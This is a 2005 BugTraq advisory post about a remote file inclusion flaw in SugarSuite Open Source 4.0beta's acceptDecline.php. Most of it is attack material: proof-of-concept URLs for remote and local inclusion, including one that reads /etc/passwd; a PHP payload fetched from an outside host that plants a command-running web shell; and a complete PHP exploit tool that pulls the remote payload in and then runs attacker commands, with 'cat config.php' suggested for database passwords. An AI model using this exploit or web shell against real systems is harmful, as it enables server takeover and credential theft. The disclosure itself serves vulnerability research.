BugTraq
SugarSuite Open Source <= 4.0beta Remote code execution Dec 07 2005 12:02PM
retrogod aliceposta it
SugarSuite Open Source <= 4.0beta Remote code execution

software:
site: http://www.sugarcrm.com/crm/

i) vulnerable code in acceptDecline.php at lines 81-82

...
$bean = $beanList[$_REQUEST['module']];
require_once($beanFiles[$bean]);
...

if register_globals on & allow_url_fopen on in php.ini, remote code inclusion, poc:

http://[target]/[path_to_sugar]/acceptDecline.php?beanFiles[1]=http://[r
emote_location]/index.html&beanList[1]=1&module=1

if register_globals on, local inclusion, poc

http://[target]/[path_to_sugar]/acceptDecline.php?beanFiles[1]=../../../
../../../../../etc/passwd&beanList[1]=1&module=1
http://[target]/[path_to_sugar]/acceptDecline.php?beanFiles[1]=../../../
../../../../../../script.php&beanList[1]=1&module=1

at [remote_location], in index.html you have this code:

<?php
$fp=fopen("suntzu.php","w");
fputs($fp,"<? echo 'Hi Master';error_reporting(0);ini_set('max_execution_time',0); system(\$HTTP_GET_VARS[cmd]);?>");
fclose($fp);
?>

note: the file can have any extension, but not .php or any executable, it must be readable
from a browser...

now you can launch commands on target system:

http://[target]/[path_to_sugar]/suntzu.php?cmd=cat%20/etc/passwd

this is my proof of concept exploit tool:

<?php
# ---sugar_suite_40beta_xpl.php #
# #
# Sugar Suite Open Source <= 4.0 beta remote code execution #
# coded by rgod #
# site: http://rgod.altervista.org #
# #
# usage: launch from Apache, fill in requested fields, then go! #
# #
# Sun-Tzu:"It is a matter of life and death, a road either to safety or to #
# ruin. Hence it is a subject of inquiry which can on no account be #
# neglected." #

error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout", 2);
ob_implicit_flush (1);

echo'<html><head><title>Sugar Suite Open Source <= 4.0beta remote code execution
</title><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<style type="text/css"> body {background-color:#111111; SCROLLBAR-ARROW-COLOR:
#ffffff; SCROLLBAR-BASE-COLOR: black; CURSOR: crosshair; color: #1CB081; } img
{background-color: #FFFFFF !important} input {background-color: #303030
!important} option { background-color: #303030 !important} textarea
{background-color: #303030 !important} input {color: #1CB081 !important} option
{color: #1CB081 !important} textarea {color: #1CB081 !important} checkbox
{background-color: #303030 !important} select {font-weight: normal; color:
#1CB081; background-color: #303030;} body {font-size: 8pt !important;
background-color: #111111; body * {font-size: 8pt !important} h1 {font-size:
0.8em !important} h2 {font-size: 0.8em !important} h3 {font-size: 0.8em
!important} h4,h5,h6 {font-size: 0.8em !important} h1 font {font-size: 0.8em
!important} h2 font {font-size: 0.8em !important}h3 font {font-size: 0.8em
!important} h4 font,h5 font,h6 font {font-size: 0.8em !important} * {font-style:
normal !important} *{text-decoration: none !important} a:link,a:active,a:visited
{ text-decoration: none ; color : #99aa33; } a:hover{text-decoration: underline;
color : #999933; } .Stile5 {font-family: Verdana, Arial, Helvetica, sans-serif;
font-size: 10px; } .Stile6 {font-family: Verdana, Arial, Helvetica, sans-serif;
font-weight:bold; font-style: italic;}--></style></head><body><p class="Stile6">
Sugar Suite Open Source <= 4.0beta remote code execution</p><p class="Stile6"> a
script by rgod at <a href="http://rgod.altervista.org"target="_blank">
http://rgod.altervista.org</a></p><table width="84%"><tr><td width="43%"> <form
name="form1" method="post" action="'.strip_tags($_SERVER[PHP_SELF]).'"><p><input
type="text" name="host"> <span class="Stile5">* hostname (ex:www.sitename.com)
</span></p> <p><input type="text" name="path"> <span class="Stile5">* path (ex:
/sugar/ or just / ) </span></p><p><input type="text" name="command"> <span
class="Stile5"> * specify a command ("cat config.php" to see database username &
password)</span></p><p><input type="text" name="location"><span class="Stile5">
* remote location ( ex: http://www.somesite.com/index.html) </span></p><p><input
type="text" name="port"><span class="Stile5">specify a port other than 80
( default value ) </span></p> <p> <input type="text" name="proxy"> <span
class="Stile5"> send exploit through an HTTP proxy (ip:port)</span></p> <p>
<input type="submit" name="Submit" value="go!"></p></form> </td> </tr> </table>
</body></html>';

function show($headeri)
{
$ii=0;
$ji=0;
$ki=0;
$ci=0;
echo '<table border="0"><tr>';
while ($ii <= strlen($headeri)-1)
{
$datai=dechex(ord($headeri[$ii]));
if ($ji==16) {
$ji=0;
$ci++;
echo "<td>  </td>";
for ($li=0; $li<=15; $li++)
{ echo "<td>".$headeri[$li+$ki]."</td>";
}
$ki=$ki+16;
echo "</tr><tr>";
}
if (strlen($datai)==1) {echo "<td>0".$datai."</td>";} else
{echo "<td>".$datai."</td> ";}
$ii++;
$ji++;
}
for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++)
{ echo "<td>  </td>";
}

for ($li=$ci*16; $li<=strlen($headeri); $li++)
{ echo "<td>".$headeri[$li]."</td>";
}
echo "</tr></table>";
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';

function sendpacket() //if you have sockets module loaded, 2x speed! if not,load
//next function to send packets
{
global $proxy, $host, $port, $packet, $html, $proxy_regex;
$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
if ($socket < 0) {
echo "socket_create() failed: reason: " . socket_strerror($socket) . "<br>";
}
else
{ $c = preg_match($proxy_regex,$proxy);
if (!$c) {echo 'Not a valid prozy...';
die;
}
echo "OK.<br>";
echo "Attempting to connect to ".$host." on port ".$port."...<br>";
if ($proxy=='')
{
$result = socket_connect($socket, $host, $port);
}
else
{

$parts =explode(':',$proxy);
echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
$result = socket_connect($socket, $parts[0],$parts[1]);
}
if ($result < 0) {
echo "socket_connect() failed.\r\nReason: (".$result.") " . socket_strerror($result) . "<br><br>";
}
else
{
echo "OK.<br><br>";
$html= '';
socket_write($socket, $packet, strlen($packet));
echo "Reading response:<br>";
while ($out= socket_read($socket, 2048)) {$html.=$out;}
echo nl2br(htmlentities($html));
echo "Closing socket...";
socket_close($socket);

}
}
}
function sendpacketii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='')
{$ock=fsockopen(gethostbyname($host),$port);
if (!$ock) { echo 'No response from '.htmlentities($host);
die; }
}
else
{
$c = preg_match($proxy_regex,$proxy);
if (!$c) {echo 'Not a valid prozy...';
die;
}
$parts=explode(':',$proxy);
echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) { echo 'No response from proxy...';
die;
}
}
fputs($ock,$packet);
if ($proxy=='')
{

$html='';
while (!feof($ock))
{
$html.=fgets($ock);
}
}
else
{
$html='';
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html)))
{
$html.=fread($ock,1);
}
}
fclose($ock);
echo nl2br(htmlentities($html));
}
$host=$_POST[host];$path=$_POST[path];$command=$_POST[command];
$proxy=$_POST[proxy];$location=$_POST[location];$port=$_POST[port];

if (($host<>'') and ($path<>'') and ($command<>'') and ($location<>''))
{

$port=intval(trim($port));
if ($port=='') {$port=80;}
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
$host=str_replace("\r\n","",$host);
$path=str_replace("\r\n","",$path);

$packet="GET ".$p."acceptDecline.php?beanFiles[1]=".urlencode($location)."&beanList[1
]=1&module=1 HTTP/1.1\r\n";
$packet.="User-Agent: MantraAgent\r\n";
$packet.="Host: ".$host.":".$port."\r\n";
$packet.="Connection: Close\r\n\r\n";
show($packet);
sendpacketii($packet);

$packet="GET ".$p."suntzu.php?cmd=".urlencode($command)." HTTP/1.1\r\n";
$packet.="User-Agent: Vagabondo/2.0 MT\r\n";
$packet.="Host: ".$host.":".$port."\r\n";
$packet.="Connection: Close\r\n\r\n";
show($packet);
sendpacketii($packet);
if (eregi("Hi Master",$html)) {echo "Exploit succeeded...";}
else {echo "Exploit failed...";}

}
else
{
echo "Note: on remote location you need this code in <br>
http:/[remote_location]/index.html :<br>";
echo nl2br(htmlentities("
<?php
\$fp=fopen(\"suntzu.php\",\"w\");
fputs(\$fp,\"<? echo 'Hi Master';error_reporting(0);ini_set('max_execution_time',0); system(\\\$HTTP_GET_VARS[cmd]);?>\");
fclose(\$fp);
?>
"));
echo "<br>Fill * requested fields, optionally specify a proxy...";
}
?>

rgod
site: http://rgod.altervista.org
mail: retrogod at aliceposta it
original advisory: http://rgod.altervista.org/sugar_suite_40beta.html

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